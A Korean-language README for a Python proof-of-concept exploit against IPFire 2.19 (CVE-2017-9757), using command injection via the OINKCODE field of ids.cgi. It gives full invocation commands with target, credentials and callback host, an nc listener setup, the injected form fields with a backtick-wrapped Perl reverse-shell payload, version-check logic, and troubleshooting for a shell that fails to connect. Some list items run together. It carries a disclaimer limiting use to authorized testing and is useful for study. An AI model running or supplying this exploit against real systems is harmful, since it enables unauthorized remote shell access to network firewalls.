
이 익스플로잇은 CVE-2017-9757을 기반으로 하며, 0x09AL이 만든 원본 익스플로잇을 바탕으로 제작되었습니다.
IPFire 2.19의 ids.cgi 페이지에서 OINKCODE 매개변수를 통해 발생하는 인증된 명령 주입 취약점에 대한 Python 개념 증명(PoC)입니다.
공인된 보안 테스트 및 교육용 실습 환경에서만 사용하세요. 이 PoC는 소유하고 있거나 명시적 테스트 허가를 받은 시스템에 대해서만 실행하십시오. 작성자는 이 코드로 인한 오용이나 손해에 대해 책임지지 않습니다.
IPFire 2.19는 /cgi-bin/ids.cgi에서 처리되는 OINKCODE 매개변수에 OS 명령 주입 취약점이 있습니다. 이 매개변수는 적절한 중화 과정 없이 셸 명령에 포함되므로, 인증된 사용자가 IPFire 호스트에서 명령을 실행할 수 있습니다.
이 취약점은 일반적으로 CVE-2017-9757로 식별되며 **CWE-78: OS 명령에 사용되는 특수 요소의 부적절한 중화('OS Command Injection')**에 해당합니다.
원래 공개된 PoC는 IPFire 2.19 Core Update 110을 대상으로 테스트되었습니다. Metasploit 모듈은 Core Update 110까지의 IPFire 2.19 버전을 지원 검사 범위로 간주합니다.
Exploit-DB의 원래 Python PoC는 다음을 사용하여 검증 요청을 수행합니다:
OINKCODE = '`id`'
그런 다음 HTTP 응답에 다음이 포함된 경우에만 대상이 취약하다고 선언합니다:
uid=99(nobody)
이 검증 방식은 신뢰할 수 없습니다. 명령이 실행되더라도 그 출력이 클라이언트로 반환되는 HTML 응답에 포함되지 않고 CGI가 구성한 셸 명령에 소비될 수 있습니다. 결과적으로 서버가 id의 출력 없이 정상적인 HTTP 200 페이지를 반환하여 위음성이 발생할 수 있습니다.
이 구현은 Metasploit 모듈에서 사용하는 검증 로직을 따릅니다:
/cgi-bin/pakfire.cgi를 요청합니다.<= 2.19 및 Core Update <= 110을 취약한 것으로 간주합니다.OINKCODE 필드에 담아 /cgi-bin/ids.cgi로 전송합니다.200이 아닌 응답을 거부된 요청 또는 인증 문제로 간주합니다.uid=99(nobody)를 확인하지 않습니다.이 PoC는 또한 Metasploit 모듈이 지원하는 명령 페이로드 계열에 맞춰 Perl 명령 셸 페이로드를 사용합니다. HTTP 응답이 성공했다고 해서 그 자체로 리버스 셸이 연결되었음을 증명하지는 않습니다. 리스너와 네트워크 경로도 함께 확인해야 합니다.
Metasploit 모듈의 중요한 성공 기준은 예상치 못한 응답 코드가 잘못된 자격 증명 또는 거부된 요청을 나타낸다는 것입니다. 응답 본문에 주입된 명령의 출력이 포함될 필요는 없습니다.
requestsperl로 제공)Python 의존성을 설치합니다:
python3 -m pip install requests
python3 ipfire_oinkcode_rce.py \
--target 192.0.2.10 \
--web-port 444 \
--username admin \
--lhost 192.0.2.20 \
--check-only \
--insecure
--password를 지정하지 않으면 비밀번호를 대화형으로 입력받습니다. 명령줄에 비밀번호를 직접 넣으면 셸 히스토리나 프로세스 목록에 노출될 수 있으므로 이 방법을 권장합니다.
--lhost 및 --lport로 지정한 주소와 포트에서 리스너를 사용하세요:
rlwrap nc -lvnp 4444
rlwrap이 설치되어 있지 않으면 다음을 사용하세요:
nc -lvnp 4444
python3 ipfire_oinkcode_rce.py \
--target 192.0.2.10 \
--web-port 444 \
--username admin \
--lhost 192.0.2.20 \
--lport 4444 \
--insecure
일반적인 IPFire 자체 서명 HTTPS 인증서의 경우 --insecure/-k가 필요합니다. 실습 환경에서 인증서 검증을 의도적으로 수행할 수 없는 경우에만 사용하세요.
대상은 전체 기본 URL로도 지정할 수 있습니다:
python3 ipfire_oinkcode_rce.py \
--target https://192.0.2.10:444 \
--username admin \
--lhost 192.0.2.20 \
--lport 4444 \
--insecure
IPFire 버전을 이미 독립적으로 확인한 경우에만 사용하세요:
python3 ipfire_oinkcode_rce.py \
--target 192.0.2.10 \
--web-port 444 \
--username admin \
--lhost 192.0.2.20 \
--lport 4444 \
--skip-version-check \
--insecure
Perl이 대상의 기본 PATH에 없으면 절대 경로를 제공하세요:
--perl-path /usr/bin/perl
ids.cgi의 HTTP 200이는 Metasploit 모듈에서 사용하는 동일한 실질 기준에 따라 CGI가 HTTP 요청을 수락했음을 의미합니다. 정상적인 HTML 응답이 반환되는 것은 예상된 동작이며, 취약점 검사가 실패했다는 증거가 아닙니다.
리스너에서 셸이 수신되는지 확인하세요. 셸이 도착하지 않으면 콜백 주소, 라우팅, 방화벽 아웃바운드 규칙, Perl 사용 가능 여부, 선택한 포트를 점검하세요.
HTTP 401 또는 HTTP 403요청이 승인되지 않았습니다. 사용자 이름, 비밀번호, 대상 URL, 포트, 그리고 계정이 IPFire 웹 인터페이스에 접근할 수 있는지 확인하세요.
HTTP 404대상 URL 또는 CGI 경로가 잘못되었거나, 서비스가 예상한 IPFire 웹 인터페이스가 아닐 수 있습니다.
스크립트가 pakfire.cgi에서 예상한 버전 문자열을 찾지 못했습니다. --skip-version-check를 사용하기 전에 대상을 수동으로 확인하세요.
주입된 명령이 콜백을 시도하는 동안 CGI 요청을 계속 열어 둘 수 있습니다. 이는 셸의 확정적 증거가 아니라 리스너를 확인해야 한다는 신호로 간주하세요.
이 스크립트는 HTTP Basic Authentication을 사용하며 ids.cgi에 다음 양식 필드를 전송합니다:
ENABLE_SNORT_GREEN=on
ENABLE_SNORT=on
RULES=registered
OINKCODE=`<Perl command payload>`
ACTION=Download new ruleset
ACTION2=snort
취약한 애플리케이션이 OINKCODE 값을 셸 명령에 전달하므로 명령은 백틱으로 감싸집니다. 정확한 요청 동작은 대상 버전과 해당 로컬 구성에 따라 달라집니다.
200 응답은 요청이 수락되었음을 확인할 뿐, 리버스 셸이 리스너에 도달했음을 확인하지는 않습니다.ipfire_oinkcode_exec.rb이 프로젝트는 0x09AL의 공개 연구 및 개념 증명과 Metasploit 커뮤니티가 유지 관리하는 Metasploit 모듈을 기반으로 한 교육용 Python 구현입니다. IPFire, Exploit-DB, Rapid7과 제휴하거나 보증하지 않습니다.
| Feature | Exploit-DB 42149 Python PoC | Exploit-DB 42369 / Metasploit | This PoC |
|---|
| 취약한 엔드포인트 | /cgi-bin/ids.cgi | /cgi-bin/ids.cgi | /cgi-bin/ids.cgi |
| 버전 검사 | 없음 | GET /cgi-bin/pakfire.cgi | Metasploit 방식과 동일한 검사 |
| 인증 | 기본 인증 | Basic Auth 헤더 | requests.Session을 통한 기본 인증 |
| 초기 검증 | `id`를 실행하고 응답 본문 검색 | 버전을 확인한 뒤 페이로드 전송 | 버전을 확인하고 HTTP 결과 코드 사용 |
| 위음성 위험 | 높음: uid=99(nobody)가 반영되는지에 의존 | 본문 콘텐츠 검증 회피 | 본문 콘텐츠 검증 회피 |
| 리버스 셸 | Bash /dev/tcp | Metasploit Unix 명령 페이로드 | Perl IO::Socket::INET 명령 셸 |
| TLS 처리 | PoC에서 인증서 검증 비활성화 | SSL이 기본적으로 활성화됨 | -k/--insecure로만 검증 비활성화 |
| 구성 | 소스에서 값을 직접 편집 | Metasploit 옵션 | 명령줄 인자 |
| Option | Default | Description |
|---|
-t, --target | 필수 | 대상 호스트/IP 또는 전체 기본 URL |
--scheme | https | 대상이 호스트/IP만으로 주어질 때 사용하는 스킴 |
--web-port | 444 | IPFire 웹 인터페이스 포트 |
-u, --username | admin | IPFire 사용자 이름 |
-p, --password | 프롬프트 | 비밀번호. 생략하면 에코 없이 입력 |
--lhost | 필수 | IPFire에서 연결 가능한 리스너 주소 |
--lport | 4444 | 리스너 포트 |
--perl-path | perl | 대상에서의 Perl 실행 파일 |
--timeout | 10 | HTTP 타임아웃(초) |
-k, --insecure | 비활성화 | TLS 인증서 검증 비활성화 |
--skip-version-check | 비활성화 | pakfire.cgi 검사 건너뛰기 |
--check-only | 비활성화 | 버전 검사만 수행 |